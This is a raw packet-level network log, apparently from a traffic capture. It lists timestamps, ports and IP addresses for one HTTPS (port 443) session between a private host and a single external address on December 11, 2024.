Dec 11, 2024 12:30:43.077799082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.077981949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.079977036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.079988956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.080193043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.080199003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.080378056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.080378056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.081337929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.081350088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.081676960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.081676960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.081681013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.081868887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.081868887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.081868887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.088681936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.088696957 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.088762999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.088793039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.089020967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089025021 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.089210987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089210987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089210987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089210987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089210987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089210987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089215994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.089406013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089406013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089598894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.089598894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.090059042 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.090071917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.090217113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.090217113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.090217113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.090225935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.090399027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.090399027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.090399027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.091352940 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.091366053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.091547966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.091547966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.091547966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.091555119 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.091742992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.091742992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.091742992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.094108105 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.094118118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.094264030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.094264030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.094268084 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.094455957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.094455957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.094455957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.094455957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.096056938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.096069098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.096328974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.096328974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.096513033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.096513033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.096513033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.096517086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.096692085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.098011971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.098026991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.098172903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.098172903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.098176956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.098368883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.098368883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.098368883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.098368883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.099240065 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.099303961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.099400043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.099400043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.099582911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.099582911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.099586010 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.099771976 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.099865913 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.100016117 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.100064039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.102154970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.102166891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.102525949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.102525949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.102525949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.102525949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.102525949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.102540970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.102713108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.103148937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.103205919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.103295088 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.103481054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.103481054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.103486061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.105336905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.105350971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.105498075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.105498075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.105500937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.105694056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.105694056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.105694056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.105694056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.107155085 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.107168913 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.107362986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.107412100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.107595921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.107595921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.107595921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.107603073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.107690096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.109916925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.109930038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.110075951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.110075951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.110080004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.110285044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.110285044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.110285044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.110285044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111200094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.111212969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.111356974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111356974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111540079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111540079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111540079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111541033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.111545086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.113178968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.113190889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.113368988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.113368988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.113372087 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.113456011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.113456011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.113647938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.113647938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.285490990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.285512924 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.285650969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.285855055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.285855055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.285855055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.285855055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.285867929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.286072016 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.287276030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.287295103 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.287646055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.287646055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.287657976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.287859917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.288281918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.288439989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.288532019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.288712025 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.288718939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.289001942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.290548086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.290568113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.290910959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.290910959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.290920973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.291299105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.292540073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.292556047 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.292890072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.292890072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.292902946 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.293087959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.294245005 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.294260979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.294580936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.294580936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.294590950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.294771910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.296077013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.296093941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.296307087 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.296307087 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.296307087 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.296320915 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.296478033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.296669960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.297914982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.297930956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.298253059 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.298260927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.298543930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.300020933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.300038099 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.300359964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.300360918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.300360918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.300360918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.300378084 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.300766945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.302092075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.302108049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.302521944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.302536964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.302934885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.303711891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.303728104 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.303894043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.304074049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.304074049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.304080963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.304243088 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.304291964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.305509090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.305527925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.305958033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.305964947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.306201935 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.306334019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.306799889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.306943893 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.307135105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.307648897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.307816982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.307816982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.307882071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.307888031 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.309556961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.309576035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.309717894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.309732914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.309910059 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.309910059 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.310415030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.310632944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.310847998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.312293053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.312313080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.312452078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.312467098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.312645912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.312645912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.312652111 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.314085960 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.314156055 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.314250946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.314265966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.314440966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.316200972 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.316217899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.316576958 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.316586971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.316817999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.318013906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.318027973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.318355083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.318355083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.318371058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.319873095 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.319888115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.320283890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.320292950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.320671082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.321640015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.321659088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.321825981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.322010994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.322010994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.322010994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.322019100 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.323479891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.323497057 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.323637962 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.323647022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.323832035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.323832035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.323832035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.323832035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.324023008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.325670004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.325685978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.325861931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.326041937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.326041937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.326041937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.326041937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.326056004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.327668905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.327687979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.328022003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.328022003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.328032017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.329533100 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.329549074 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.329803944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.329818964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.329992056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.331144094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.331157923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.331485033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.331485033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.331496954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.333106995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.333121061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.333709955 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.333719015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.335071087 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.335087061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.335232019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.335241079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.335467100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.335467100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.336997032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.337012053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.337157965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.337167978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.337353945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.337580919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.338809967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.338823080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.338968992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.339150906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.339150906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.339162111 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.339343071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.339343071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.340538979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.340554953 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.340703011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.340712070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.340918064 CET	49763	443	192.168.11.30	172.67.128.139
